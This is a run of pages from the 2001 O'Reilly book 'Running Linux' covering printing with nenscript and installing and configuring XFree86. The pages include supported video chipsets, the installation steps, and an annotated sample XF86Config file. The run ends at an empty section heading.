The man command retrieves and formats the manual page and formats it for text display. The col -b command strips the backspace instructions for highlighting and underlining, leaving plain text that is piped to the nenscript filter. This turns the plain text into simple PostScript with some "pretty printing" that applies headers, footers, page numbering, and the like. Finally, the file is passed to lpr, which spools the file. The file passes once more through the filter specified in the printcap file, which could be a "dummy" filter that simply passes the text through. Or the filter could do additional things, such as attaching a formfeed character to the end of the print file.

If you specify the -Z option with nenscript, it attempts to detect PostScript files passed to it and passes them through unaltered.

If a PostScript file is passed to nenscript and is taken for a text file (probably because nenscript was not called with the -Z option) nenscript will encapsulate [image] it and pass it through to print. This can result in the PostScript code being printed out literally. Even a small PostScript file can use up a lot of paper in this way.

Suppose the lpd daemon already applies nenscript to process files sent to the printer. The file should still process correctly if it does, but intervening filtering could cause the second pass through nenscript to encapsulate the PostScript source. It would be safer to set the NENSCRIPT variable. When the nenscript filter is applied by /etc/printcap to a print file, the options set in your NENSCRIPT environment variable are used, but are overridden by explicit options passed through lpr from a command line or another utility.

Note that you could specify the default printer to use either in PRINTER or as a -P argument stored to NENSCRIPT. If you set NENSCRIPT to specify a printer to use, that printer will be used every time NENSCRIPT filters one of your files. We recommend that you set PRINTER rather than -P in NENSCRIPT, so that you can change the printer specification and have it filtered appropriately.

Previous | Home | Next
9.4. Graphics | Book Index | 10. Installing the X Window System
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Installing the X Window System (Running Linux)

 Running LinuxSearch this book
Previous Next

Chapter 10. Installing the X Window System

Contents:

X Concepts
Hardware Requirements
Installing XFree86
Configuring XFree86
Filling in Video Card Information
Running XFree86
Running Into Trouble

We come now to the X Window System--one of the most powerful and important software packages available for Linux. If you've ever used X on a Unix system before, you're in luck; running X under Linux is almost no different from Unix systems. And, if you've never had the occasion to use it before, never fear: salvation is at hand.

It's difficult to describe the X Window System in a nutshell. X is a complete windowing graphics interface for Unix systems. It provides a huge number of options to both the programmer and the user. For instance, there are at least half a dozen window managers available for X, each one offering a different interface for manipulating windows. By customizing the attributes of the window manager, you have complete control over how windows are placed on the screen, the colors and borders used to decorate them, and so forth.

X was originally developed by Project Athena at MIT and Digital Equipment Corporation. The current version of X is Version 11 revision 6 (X11R6), which was first released in April 1994. Since the release of Version 11, X has virtually taken over as the de facto standard for Unix graphical environments. It is now developed and distributed by The Open Group, an association that is composed of many large computer manufacturers.

Despite its commercial use, the X Window System remains distributable under a liberal license from the X Consortium. As such, a complete implementation of X is freely available for Linux systems. XFree86, an implementation of X, originally for i386 Unix systems, is the version most often used by Linux. Today, this version supports not only Intel-based systems, but also Alpha AXP, MicroSPARC, PowerPC, and other architectures. Further architectures will follow. XFree86 is based on X386-1.2, which was part of the official X11R5 sources, but is no longer maintained and is therefore outdated. The current versions now have only a very little part in common with their ancestors. Support for innumerable graphics boards and many other operating systems (including Linux) has been added--and XFree86 implements the latest version X11R6.3.

In this chapter, we will tell you how to install and configure the X Window System, and in the next chapter, we will explore how to use X.

Linux distributions automatically install X (if you ask them to). If you're lucky, you won't need this chapter at all. But a large percentage of users aren't lucky--the distribution doesn't recognize some graphics hardware, writes a file to the wrong location so the X server can't start up, or has some other problem. One of the big advantages of this book is that we take you down to the depths of X configuration so you can get it running no matter what your distribution does. You may not need to read this chapter, but if you do need it, you'll appreciate everything that's here.

10.1. X Concepts

X is based on a client-server model in which the X server is a program that runs on your system and handles all access to the graphics hardware. An X client is an applications program that communicates with the server, sending it requests such as "draw a line" or "pay attention to keyboard input." The X server takes care of servicing these requests by drawing a line on the display or sending user input (via the keyboard, mouse, or whatever) to the client application. Examples of X clients are xterm (which emulates a terminal within a window) or xman (an X-based manual-page reader).

It is important to note that X is a network-oriented graphics system. That is, X clients can run either locally (on the same system that the server is running) or remotely (on a system somewhere on a TCP/IP network). The X server listens to both local and remote network sockets for requests from clients. This feature is obviously quite powerful. If you have a connection to a TCP/IP network, you can log in to another system over the network and run an X application there, directing it to display on your local X server.

Further advantages of X are security (if the user so desires), the modular separation of functions, and the support for many different architectures. All this makes the X Window System technically superior by far to all other window systems.

The X Window System makes a distinction between application behavior and window management. Clients running under X are displayed within one or more windows on your screen. However, how windows are manipulated (placed on the display, resized, and so forth) and how they are decorated (the appearance of the window frames) is not controlled by the X server. Instead, it is handled by another X client called a window manager that runs concurrently with the other X clients. Your choice of window manager will decide to some extent how X as a whole looks and feels. Most window managers are utterly flexible and configurable; the user can select the look of the window decoration, the focus policy, the meaning of the mouse buttons when the mouse is on the background part of the screen rather than on an application window, and many other things by editing the configuration files of the window manager. More modern systems even let you configure those aspects over a graphical user interface.

In order to fully understand the concept of window managers, you need to know that the window manager does not affect the presentation of the window created by the client. The window manager is only in charge of painting the window decoration, that is, the frame and the buttons that let you close, move, and resize windows.

There can be only one window manager on any X server. Theoretically, it is even possible to completely do away with window managers, but then you would not be able to move windows around the screen; put a hidden window on top; or minimize, maximize, or resize windows unless the programs themselves provide this functionality.

Previous | Home | Next
9.5. Printing | Book Index | 10.2. Hardware Requirements
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Hardware Requirements (Running Linux)

 Running LinuxSearch this book
Previous Next

10.2. Hardware Requirements

As of XFree86 Version 3.3.3.1, released in January 1999, the video chipsets listed in this section are supported. The documentation included with your video adaptor should specify the chipset used. If you are in the market for a new video card, or are buying a new machine that comes with a video card, have the vendor find out exactly what the make, model, and chipset of the video card is. This may require the vendor to call technical support on your behalf; vendors usually will be happy to do this. Many PC hardware vendors will state that the video card is a "standard SVGA card" that "should work" on your system. Explain that your software (mention Linux and XFree86!) does not support all video chipsets and that you must have detailed information.

A good source for finding out whether your graphics board is supported and which X server it needs is http://www.xfree86.org/cardlist.html.

You can also determine your video card chipset by running the SuperProbe program included with the XFree86 distribution. This is covered in more detail later.

The following accelerated and nonaccelerated SVGA chipsets are supported:

  • 3DLabs GLINT 500TX, GLINT MX, Permedia, Permedia 2, Permedia 2v

  • 8514/A (and true clones)

  • Alliance AP6422, AT24

  • ATI 18800, 18800-1, 28800-2, 28800-4, 28800-5, 28800-6, 68800-3, 68800-6, 68800AX, 68800LX, 88800GX-C, 88800GX-D, 88800GX-E, 88800GX-F, 88800CX, 264CT, 264ET, 264VT, 264GT, 264VT-B, 264VT3, 264GT-B, 264GT3 (includes the Mach8, Mach32, Mach64, 3D Rage, 3D Rage II and 3D Rage Pro)

  • ARK Logic ARK1000PV, ARK2000PV, ARK1000VL, ARK2000MT

  • Avance Logic ALG2101, ALG2228, ALG2301, ALG2302, ALG2308, ALF2401

  • Chips and Technology 65520, 65525, 65530, 65535, 65540, 65545, 65546, 65548, 65550, 65554, 65555, 68554, 69000, 64200, 64300

  • Cirrus Logic CLGD5420, CLGD5422, CLGD5424, CLGD5426, CLGD5428, CLGD5429, CLGD5430, CLGD5434, CLGD6205, CLGD6215, CLGD6225, CLGD6235, GLGD6410, CLGD6412, CLGD6420, CLGD6440, CLGD7541, CLGD7543, CLGD7548, CLGD7555

  • Compaq AVGA

  • Cyrix MediaGX, MediaGXm

  • Digital Equipment Corporation TGA

  • Epson SPC8110

  • Genoa GVGA

  • IBM XGA-2

  • IIT AGX-014, AGX-015, AGX-016

  • Matrox MGA2064W (Millenium), MGA1064SG (Mystique and Mystique 220), MGA2164W (Millenium II PCI and AGP), G100, G200

  • MX MX68000, MX680010

  • NCR 77C22, 77C22E, 77C22E+

  • NeoMagic 2200, 2160, 2097, 2093, 2090, 2070

  • Number Nine I128 (series I, II, and IV), Revolution 3D (T2R)

  • NVidia/SGS Thomson NV1, STG2000, Riva 128, Riva TNT

  • OAK OTI067, OTI077, OTI087

  • RealTek RTG3106

  • Rendition V1000, V2x00

  • S3 86C911, 86C924, 86C801, 86C805, 86C805i, 86C928, 86C864, 86C964, 86C732, 86C764, 86C765, 86C767, 86C775, 86C785, 86C868, 86C968, 86C325, 86C357, 86C375, 86C385, 86C988, 86CM65, 86C260

  • SiS 86C201, 86C202, 86C205, 86C215, 86C225, 5597, 5598, 6326

  • Trident TVGA8800CS, TVGA8900B, TVGA8900C, TVGA8900CL, TVGA9000, TVGA9000i, TVGA9100B, TVGA9200CXR, Cyber9320, TVGA9400CXi, TVGA9420, TGUI9420DGi, TGUI9430DGi, TGUI9440AGi, TGUI9660XGi, TGUI9680, ProVidia 9682, ProVidia 9685, Cyber 9382, Cyber 9385, Cyber 9388, 3DImage975, 3DImage985, Cyber 9397, Cyber 9520

  • Tseng ET3000, ET4000AX, ET4000/W32, ET4000/W32i, ET4000/W32p, ET6000, ET6100

  • Video 7/Headland Technologies HT216-32

  • Weitek P9000, P9100

  • Western Digital WD90C00, WD90C10, WD90C11, WD90C24, WD90C30, WD90C31, WD90C33, WD90C24A

  • Western Digital/Paradise PVGA1

Video cards using these chipsets are normally supported on all bus types, including the PCI and AGP.

All of these chipsets are supported in 256-color mode, some are supported in mono- and 16-color modes, and some are supported on higher color depths.

The monochrome server also supports generic VGA cards, using 64k of video memory in a single bank, the Hercules monochrome card, the Hyundai HGC1280, the Sigma LaserView, the Visa, and the Apollo monochrome cards.

The VGA16 server supports memory banking with the ET4000, Trident, ATI, NCR, OAK and Cirrus 6420 chipsets, allowing virtual display sizes up to about 1600x1200 (with 1 MB of video memory). The maximum display size for other chipsets and X servers varies, but you can get 1024x768 with most modern chipsets, often more (this also depends on the amount of video memory available and the color mode that you choose).

This list will undoubtedly expand as time passes. The release notes for the current version of XFree86 should contain the complete list of supported video chipsets. Please also always see the README file for your particular chipset.

Besides those chipsets, there is also support for the framebuffer device in the 2.2 kernel series via the FBDev server; this kernel has unaccelerated support for several chipsets for which there is not yet a dedicated server; it also supports acceleration on some hardware. If your graphics board is supported by any of the "ordinary" servers, you should use one of those, not the framebuffer server.

One problem faced by the XFree86 developers is that some video card manufacturers use nonstandard mechanisms for determining clock frequencies used to drive the card. Some of these manufacturers either don't release specifications describing how to program the card or require developers to sign a nondisclosure statement to obtain the information. This would obviously restrict the free distribution of the XFree86 software, something that the XFree86 development team is not willing to do.

The suggested minimum setup for XFree86 under Linux is a 486 machine with at least 16 MB of RAM and a video card with a chipset listed earlier. For optimal performance, we suggest using an accelerated card, such as an S3-chipset card. You should check the documentation for XFree86 and verify that your particular card is supported before taking the plunge and purchasing expensive hardware. Benchmark ratings comparisons for various video cards under XFree86 are posted to the Usenet newsgroups comp.windows.x.i386unix and comp.os.linux.misc regularly.

As a side note, one author's (Kalle's) personal Linux system is an AMD K6-2 with 128 MB of RAM and is equipped with a PCI Permedia II chipset card with 8 MB of DRAM. This setup is already a lot faster with respect to display speed than many workstations. XFree86 on a Linux system with an accelerated SVGA card will give you much greater performance than that found on commercial Unix workstations (which often employ simple frame buffers for graphics and provide accelerated graphics hardware only as a high-priced add-on).

Your machine will need at least 8 MB of physical RAM, and 16 MB of virtual RAM (for example, 8 MB physical and 8 MB swap). Remember that the more physical RAM you have, the less the system will swap to and from disk when memory is low. Because swapping is inherently slow (disks are very slow compared to memory), having 8 MB of RAM or more is necessary to run XFree86 comfortably. A system with 8 MB of physical RAM could run much more slowly (up to 10 times more slowly) than one with 16 MB or more.

Previous | Home | Next
10. Installing the X Window System | Book Index | 10.3. Installing XFree86
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Installing XFree86 (Running Linux)

 Book Home Running LinuxSearch this book
Previous Next

10.3. Installing XFree86

The Linux binary distribution of XFree86 can be found on a number of FTP sites. On ftp://ftp.xfree86.org, it is found in the directory /pub/XFree86/3.3.3.1/binaries; there you will find systems for Intel, m68k, PPC, and Alpha AXP in subdirectories. (At the time of this writing, the current version is 3.3.3.1; newer versions are released periodically).

It's quite likely you obtained XFree86 as part of a Linux distribution, in which case downloading the software separately is not necessary. If you are downloading XFree86 directly, the following tables list the files in the XFree86-3.3.3.1 distribution.

One of the following servers is required (not all of those are available for all platforms, but all are available for Intel systems):

File | Description
X8514.tgz | Server for 8514-based boards
XAGX.tgz | Server for AGX-based boards
XMa32.tgz | Server for Mach32-based boards
XMa64.tgz | Server for Mach64-based boards
XMa8.tgz | Server for Mach8-based boards
XMono.tgz | Server for monochrome video modes
XP9K.tgz | Server for P9000-based boards
XS3.tgz | Server for S3-based boards
XSVGA.tgz | Server for Super VGA-based boards
XVG16.tgz | Server for VGA/EGA-based boards (needed for XF86Setup)
XW32.tgz | Server for ET4000/W32-based boards
X3DL.tgz | Server for boards with 3Dlabs chipsets
XI128.tgz | Server for I128-based boards

All of the following files are required:

File | Description
Xbin.tgz | The rest of the X11R6 binaries
Xcfg.tgz | Configuration files for xdm and xinit
Xdoc.tgz | Documentation
Xlib.tgz | Shared X libraries and support files
Xfnts.tgz | Basic fonts
Xman.tgz | Manual pages
Xset.tgz | Configuration utility XF86Setup
XVG16.tgz | VGA server; needed by configuration utility XF86Setup
preinst.sh | Pre-installation script
postinst.sh | Post-installation script
extract | Extraction utility

The following files are optional:

File | Description
Xlkit.tgz | Server link kit for customization
Xf100.tgz | 100-dpi screen fonts
Xfscl.tgz | Scaled fonts (Speedo, Type1)
Xfcyr.tgz | Cyrillic fonts
Xfnon.tgz | Other fonts (Chinese, Japanese, Korean, and Hebrew)
Xfsrv.tgz | Font server and configuration files
Xprog.tgz | X header files, configuration files, and libraries needed at compilation time
Xnest.tgz | Nested X server
Xvfb.tgz | X server that uses a virtual framebuffer
Xprt.tgz | X Print server
Xps.tgz | PostScript version of the documentation
Xhtml.tgz | HTML version of the documentation
Xjdoc.tgz | Japanese version of some documentation
Xjhtm.tgz | Japanese HTML version of the documentation

The XFree86 directory should contain README files and installation notes for the current version.

Obtain these files and save them in the directory /var/tmp (you can use any other directory; just change the pathname accordingly in the following examples), and create the directory /usr/X11R6 as root. Copy the three files preinst.sh, postinst.sh and extract to /var/tmp. Change to the directory /usr/X11R6 and run:

sh /var/tmp/preinst.sh

Next, make sure the extract utility that you downloaded is executable:

chmod 755 extract

Now unpack the binaries by typing:

/var/tmp/extract /var/tmp/X*.tgz

Finally, run the post-installation script:

sh /var/tmp/postinst.sh

You need to make sure that /usr/X11R6/bin is on your path. This can be done by editing your system default /etc/profile or /etc/csh.login (based on the shell that you or other users on your system, use). Or you can simply add the directory to your personal path by modifying /etc/.bashrc or /etc/.cshrc, based on your shell.

You also need to make sure that /usr/X11R6/lib can be located by ld.so, the runtime linker. To do this, add the line:

/usr/X11R6/lib
to the file /etc/ld.so.conf, and run /sbin/ldconfig as root.

Previous | Home | Next
10.2. Hardware Requirements | Book Index | 10.4. Configuring XFree86
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Configuring XFree86 (Running Linux)

 Book Home Running LinuxSearch this book
Previous Next

10.4. Configuring XFree86

Setting up XFree86 is not difficult in most cases. However, if you happen to be using hardware for which drivers are under development, or wish to obtain the best performance or resolution from an accelerated graphics card, configuring XFree86 can be somewhat time-consuming.

In this section, we describe how to create and edit the XF86Config file, which configures the XFree86 server. In many cases, it is best to start out with a "basic" XFree86 configuration--one that uses a low resolution. A good choice is 640x480, which should be supported on all video cards and monitor types. Once you have XFree86 working at a lower, standard resolution, you can tweak the configuration to exploit the capabilities of your video hardware. The idea is that you want to make sure XFree86 works at least minimally on your system and that something isn't wrong with your installation before attempting the sometimes difficult task of setting up XFree86 for real use. With current hardware, you should easily be able to get up to 1024x768 pixels.

But before you start to write a XF86Config file yourself, try one of the configuration programs that are available. In many cases, you can avoid going through the hassle that will be described on the next pages. Some programs that may help you are:

XF86Setup

This graphical configuration program is provided by the XFree86 team themselves. It starts up a VGA X server with 16 colors (which is quite sure to run on just about any display hardware) and then lets you select your graphics board, your monitor type, your mouse type, and other options. At the end, it tries to start up a server as configured, and if you are satisfied, it offers to write the configuration file for you. We have found this program to be very useful and reliable in many cases.

ConfigXF86

This is a text-based program that asks you a number of questions and then generates a configuration file from your answers. It is by no means as comfortable to use as XF86Setup (and is slightly outdated), but it has been reported to work in cases where XF86Setup has failed.

Distribution-specific configuration tools

Some distributions also have their own configuration tools. For example, SuSE has SaX and Red Hat has Xconfigurator. Caldera OpenLinux now even configures the mouse and the video board automatically during installation.

If one of these tools is able to configure your X server for you, you should use it and save yourself a lot of trouble. However, if all of the tools fail or if you really want to fine-tune your X server, you will have to know how to edit the XF86Config file yourself.

In addition to the information here, you should read the following documentation:

  • The XFree86 documentation in /usr/X11R6/lib/X11/doc (contained within the Xdoc package). You should especially see the file README.Config, which is an XFree86 configuration tutorial.

  • The README file for your video chipset, if one exists, in the directory /usr/X11R6/lib/X11/doc. These README files have names such as README.Cirrus and README.S3.

  • The manual page for XFree86.

  • The manual page for XF86Config.

  • The manual page for the particular server that you are using (such as XF86_SVGA or XF86_S3).

The main configuration file you need to create is /usr/X11R6/lib/X11/XF86Config (some distributions put this in /etc/XF86Config or /etc/X11 instead). This file contains information on your mouse, video card parameters, and so on. The file XF86Config.eg is provided with the XFree86 distribution as an example. Copy this file to XF86Config and edit it as a starting point.

The XF86Config manual page explains the format of this file in detail. Read this manual page now if you have not done so already.

We are going to present a sample XF86Config file, piece by piece. This file may not look exactly like the sample file included in the XFree86 distribution, but the structure is the same.

The XF86Config file format may change with each version of XFree86; this information is only valid for XFree86 Version 3.3.3.1.

Also, you should not simply copy the configuration file listed here to your own system and attempt to use it. Attempting to use a configuration file that doesn't correspond to your hardware could drive the monitor at a frequency that is too high for it; there have been reports of monitors (especially fixed-frequency monitors) being damaged or destroyed by using an incorrectly configured XF86Config file. The bottom line is this: make absolutely sure your XF86Config file corresponds to your hardware before you attempt to use it.

Each section of the XF86Config file is surrounded by the pair of lines Section "section-name"…EndSection. The first part of the XF86Config file is Files, which looks like this:

Section "Files"
    RgbPath     "/usr/X11R6/lib/X11/rgb"
    FontPath    "/usr/X11R6/lib/X11/fonts/misc/"
    FontPath    "/usr/X11R6/lib/X11/fonts/75dpi/"
EndSection

The RgbPath line sets the path to the X11R6 RGB color database, and each FontPath line sets the path to a directory containing X11 fonts. In general, you shouldn't have to modify these lines; just be sure there is a FontPath entry for each font type you have installed (i.e., for each directory in /usr/X11R6/lib/X11/fonts). If you add the string :unscaled to a FontPath, the fonts from this directory will not be scaled. This is often an improvement because fonts that are vastly scaled look ugly. In addition to FontPath and RgbPath, you can also add a ModulePath to this section, to point to a directory with dynamically loaded modules. Those modules are currently used for some special input devices, as well as the PEX and XIE extensions.

The next section is ServerFlags, which specifies several global flags for the server. In general this section is empty:

Section "ServerFlags"
# Uncomment this to cause a core dump at the spot where a signal is
# received.  This may leave the console in an unusable state, but may
# provide a better stack trace in the core dump to aid in debugging
#    NoTrapSignals
# Uncomment this to disable the <Crtl><Alt><BS> server abort sequence
#    DontZap
EndSection
Here, we have all lines within the section commented out.

The next section is Keyboard:

Section "Keyboard"
    Protocol    "Standard"
    AutoRepeat  500 5
    ServerNumLock
EndSection
Other options are available as well: see the XF86Config file if you wish to modify the keyboard configuration. The previous example should work for most systems with U.S. keyboards. If you have another keyboard, you will have to add additional lines. For example, the following works for a standard German keyboard:

XkbRules	"xfree86"
XkbModel	"pc102"
XkbLayout	"de"
XkbVariants	""
XkbOptions	""

The next section is Pointer, which specifies parameters for the mouse device:

Section "Pointer"

    Protocol    "MouseSystems"
    Device      "/dev/mouse"

# Baudrate and SampleRate are only for some Logitech mice
#    BaudRate   9600
#    SampleRate 150

# Emulate3Buttons is an option for 2-button Microsoft mice
#    Emulate3Buttons

# ChordMiddle is an option for some 3-button Logitech mice
#    ChordMiddle

EndSection
The only options you should concern yourself with now are Protocol and Device. Protocol specifies the mouse protocol your mouse uses (not the make or brand of mouse). Valid types for Protocol (under Linux--there are other options available for other operating systems) are:

  • BusMouse

  • Logitech

  • Microsoft

  • MMSeries

  • Mouseman

  • MouseManPlusPS/2

  • MouseSystems

  • PS/2

  • MMHitTab

  • GlidePoint

  • GlidePointPS/2

  • IntelliMouse

  • IMPS/2

  • NetMousePS/2

  • NetScrollPS/2

  • SysMouse

  • ThinkingMouse

  • ThinkingMousePS/2

  • Xqueue

BusMouse should be used for the Logitech busmouse. Note that older Logitech mice that are not bus mice should use Logitech, but newer Logitech mice that are not bus mice use either the Microsoft or the Mouseman protocol. This is a case where the protocol doesn't necessarily have anything to do with the make of the mouse.

If you have a modern serial mouse, you could also try to specify Auto, which will try to autoselect a mouse driver.

It is easy to check whether you have selected the correct mouse driver once you have started up X; when you move your mouse, the mouse pointer on the screen should follow this movement. If it does this, your setup is very likely to be correct. If it doesn't, try another driver, and also check whether the device you specified is correct.

Device specifies the device file where the mouse can be accessed. On most Linux systems, this is /dev/mouse. /dev/mouse is usually a link to the appropriate serial port (such as /dev/ttyS0) for serial mice or to the appropriate busmouse device for busmice. At any rate, be sure that the device file listed in Device exists.

The next section is Monitor, which specifies the characteristics of your monitor. As with other sections in the XF86Config file, there may be more than one Monitor section. This is useful if you have multiple monitors connected to a system, or use the same XF86Config file under multiple hardware configurations. In general though, you will need only a single Monitor section:

Section "Monitor"

    Identifier  "CTX 5468 NI"

    # These values are for a CTX 5468NI only! Don't attempt to use
    # them with your monitor (unless you have this model)

    HorizSync    30-38,47-50
    VertRefresh  50-90

    # Modes: Name      dotclock  horiz                vert

    ModeLine "640x480"  25       640 664 760 800      480 491 493 525
    ModeLine "800x600"  36       800 824 896 1024     600 601 603 625
    ModeLine "1024x768" 65       1024 1088 1200 1328  768 783 789 818

EndSection

The Identifier line is used to give an arbitrary name to the Monitor entry. This can be any string; you will use it to refer to the Monitor entry later in the XF86Config file.

HorizSync specifies the valid horizontal sync frequencies for your monitor in kHz. If you have a multisync monitor, this can be a range of values (or several comma-separated ranges), as seen in the Monitor section. If you have a fixed-frequency monitor, this will be a list of discrete values, such as:

    HorizSync    31.5, 35.2, 37.9, 35.5, 48.95
Your monitor manual should list these values in the technical specifications section. If you do not have this information, you should contact either the manufacturer or the vendor of your monitor to obtain it. There are other sources of information, as well; they are listed later.

You should be careful with those settings. While the settings VertRefresh and HorizSync (described next) help to make sure that your monitor will not be destroyed by wrong settings, you won't be very happy with your X setup if you get these values wrong. Unsteady pictures, flickering, or just plain snow can result.

VertRefresh specifies the valid vertical refresh rates (or vertical synchronization frequencies) for your monitor in Hz. Like HorizSync, this can be a range or a list of discrete values; your monitor manual should list them.

HorizSync and VertRefresh are used only to double-check that the monitor resolutions you specify are in valid ranges. This reduces the chance that you will damage your monitor by attempting to drive it at a frequency for which it wasn't designed.

The ModeLine directive is used to specify a single resolution mode for your monitor. The format of ModeLine is:

ModeLine name dot-clock horiz-values vert-values
name is an arbitrary string, which you will use to refer to the resolution mode later in the file. dot-clock is the driving clock frequency or dot clock associated with the resolution mode. A dot clock is usually specified in MHz and is the rate at which the video card must send pixels to the monitor at this resolution. horiz-values and vert-values are four numbers each; they specify when the electron gun of the monitor should fire and when the horizontal and vertical sync pulses fire during a sweep across the screen.

How can you determine the ModeLine values for your monitor? The file VideoModes.doc, included with the XFree86 distribution, describes in detail how to determine these values for each resolution mode your monitor supports. First of all, clock must correspond to one of the dot-clock values that your video card can produce. Later in the XF86Config file, you will specify these clocks; you can use only video modes that have a clock value supported by your video card.

Two files included in the XFree86 distribution may include ModeLine data for your monitor. These files are modeDB.txt and Monitors, both of which are found in /usr/X11R6/lib/X11/doc.

You should start with ModeLine values for the VESA standard monitor timings, which most monitors support. modeDB.txt includes timing values for VESA standard resolutions. In that file, you will see entries such as:

# 640x480@60Hz Non-Interlaced mode
# Horizontal Sync = 31.5kHz
# Timing: H=(0.95us, 3.81us, 1.59us), V=(0.35ms, 0.064ms, 1.02ms)
#
# name        clock   horizontal timing     vertical timing      flags
 "640x480"     25.175  640  664  760  800    480  491  493  525
This is a VESA standard timing for a 640x480 video mode. It uses a dot clock of 25.175, which your video card must support to use this mode (more on this later).

To include this entry in the XF86Config file, you'd use the line:

ModeLine "640x480" 25.175  640 664 760 800  480 491 493 525

Note that the name argument to ModeLine (in this case "640x480") is an arbitrary string; the convention is to name the mode after the resolution, but name can technically be anything descriptive that describes the mode to you.

For each ModeLine used, the server checks that the specifications for the mode fall within the range of values specified with HorizSync and VertRefresh. If they do not, the server will complain when you attempt to start up X (more on this later).

If the VESA standard timings do not work for you (you'll know after trying to use them later when the screen is unsteady, flickers, or shows snow), the files modeDB.txt and Monitors include specific mode values for many monitor types. You can create ModeLine entries from the values found in those two files as well. Be sure to use values only for your specific model. Note that many 14- and 15-inch monitors cannot support higher-resolution modes and often can support resolutions of 1024x768 at low dot clocks only or not at all. This means that if you can't find high-resolution modes for your monitor in these files, your monitor probably does not support those resolution modes.

If you are completely at a loss, and can't find working ModeLine values for your monitor, you can follow the instructions in the VideoModes.doc file included in the XFree86 distribution to generate ModeLine values from the specifications listed in your monitor's manual. While your mileage will certainly vary when attempting to generate ModeLine values by hand, this is a good place to look if you can't find the values you need. VideoModes.doc also describes the format of the ModeLine directive and other aspects of the XFree86 server in gory detail.

Lastly, if you do obtain ModeLine values that are almost, but not quite, right, it may be possible to simply modify the values slightly to obtain the desired result. For example, if while running XFree86 the image on the monitor shifts slightly or seems to "roll," you can follow the instructions in the VideoModes.doc file to try to fix these values. Also, be sure to check the knobs and controls on the monitor itself! In many cases it is necessary to change the horizontal or vertical size of the display after starting up XFree86 in order for the image to be centered and of the appropriate size. Having these controls on the front of the monitor can certainly make life easier. Another option is to use the program xvidtune (see the manual page for how to use it) that can help you to get all the numbers for the modeline, lets you try your changes, and even allows you to undo them if you did something wrong.

You shouldn't use monitor timing values or ModeLine values for monitors other than the model you own. If you attempt to drive the monitor at a frequency for which it was not designed, you can damage or even destroy it.

The next section of the XF86Config file is Device, which specifies parameters for your video card. Here is an example:

Section "Device"
        Identifier "#9 GXE 64"

        # Nothing yet; we fill in these values later.

EndSection

This section defines properties for a particular video card. Identifier is an arbitrary string describing the card; you will use this string to refer to the card later.

Initially, you don't need to include anything in the Device section, except for Identifier. This is because we will be using the X server itself to probe for the properties of the video card and entering them into the Device section later. The XFree86 server is capable of probing for the video-card chipset, clocks, RAMDAC (one of the chips on the video board), and amount of video RAM on the board.

Before we do this, however, we need to finish writing the XF86Config file. The next section is Screen, which specifies the monitor/video card combination to use for a particular server:

 Section "Screen"
     Driver     "Accel"
     Device     "#9 GXE 64"
     Monitor    "CTX 5468 NI"
     Subsection "Display"
         Depth      16
         Modes      "1024x768" "800x600" "640x480"
         ViewPort   0 0
         Virtual    1024 768
     EndSubsection
 EndSection

The Driver line specifies the X server you will be using. The possible values for Driver are:

Accel

For the XF86_S3, XF86_S3V, XF86_Mach64, XF86_Mach32, XF86_Mach8, XF86_8514, XF86_P9000, XF86_AGX, XF86_I128, XF86_TGA, and XF86_W32 servers

SVGA

For the XF86_SVGA server

VGA16

For the XF86_VGA16 server

VGA2

For the XF86_Mono server

Mono

For the non-VGA monochrome drivers in the XF86_Mono and XF86_VGA16 servers

Be sure that /usr/X11R6/bin/X is a symbolic link to your server; you might have to create this link yourself if you install XFree86 for the first time. Make a link with a command like the following:

ln -s /usr/X11R6/bin/XF86_SVGA /usr/X11R6/bin/X

Of course, you have to replace the first pathname with that of another server binary if you don't use the SVGA server.

The Device line specifies the Identifier from the Device section. Earlier, we created a Device section with the line:

Identifier "#9 GXE 64"
Therefore, we use "#9 GXE 64" on the Device line here.

Similarly, the Monitor line specifies the name of the Monitor section to be used with this server. Here, "CTX 5468 NI" is the Identifier used in the Monitor section described earlier.

Subsection "Display" defines several properties of the XFree86 server corresponding to your monitor/video-card combination. The XF86Config file describes all these options in detail; most of them are icing on the cake and are not necessary to get the system working.

The options you should know about are:

DefaultColorDepth

Specifies the color depth to use in case the X server supports several color depths.

Depth

Defines the number of color planes--the number of bits per pixel. Usually, Depth is set to 8. For the VGA16 server, you would use a depth of 4, and for the monochrome server a depth of 1. If you are using an accelerated video card or one of the better SVGA cards with enough memory to support more bits per pixel, you can set Depth to 16, 24, or 32. If you have problems with depths higher than 8, set it back to 8 and attempt to debug the problem later.

Modes

Lists of video mode names that have been defined using the ModeLine directive in the Monitor section. In the previous section, we used ModeLines named "1024x768", "800x600", and "640x480", so we use a Modes line of:

        Modes    "1024x768" "800x600" "640x480"
The first mode listed on this line will be the default when XFree86 starts up. After XFree86 is running, you can switch between the modes listed here using Ctrl-Alt with the plus or minus on the numeric keypad.

It might be best, when initially configuring XFree86, to use lower resolution video modes, such as 640x480, which tend to work on most systems. Once you have the basic configuration working, you can modify XF86Config to support higher resolutions.

Virtual

Sets the virtual desktop size. XFree86 has the ability to use any additional memory on your video card to extend the size of your desktop. When you move the mouse pointer to the edge of the display, the desktop scrolls, bringing the additional space into view. Therefore, even if you are running at a lower video resolution, such as 800x600, you can set Virtual to the total resolution your video card can support. A 1 MB video card can support 1024x768 at a depth of 8 bits per pixel, while a 2 MB card can support 1280x1024 at depth 8, or 1024x768 at depth 16. Of course, the entire area will not be visible at once, but it can still be used.

The Virtual option is a nice way to utilize the memory of your video card, but it is rather limited. If you want to use a true virtual desktop, we suggest using a window manager like kwm or fvwm2 instead. Both allow you to have rather large virtual desktops (implemented by such software techniques as hiding windows instead of actually storing the entire desktop in video memory at once). See the next chapter for more details about this; most Linux systems use kwm, which is a part of the K Development Environment, by default.

ViewPort

If you are using the Virtual option described earlier, ViewPort sets the coordinates of the upper-left corner of the virtual desktop when XFree86 starts up. ViewPort 0 0 is often used, putting the screen at the top left corner of the desktop; if this is unspecified, the desktop is centered on the virtual desktop display (which may be undesirable to you).

Many other options for this section exist; see the XF86Config manual page for a complete description. In practice, these other options are not necessary to get XFree86 working initially.

Previous | Home | Next
10.3. Installing XFree86 | Book Index | 10.5. Filling in Video Card Information
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Filling in Video Card Information (Running Linux)

 Book Home Running LinuxSearch this book
Previous Next

10.5. Filling in Video Card Information

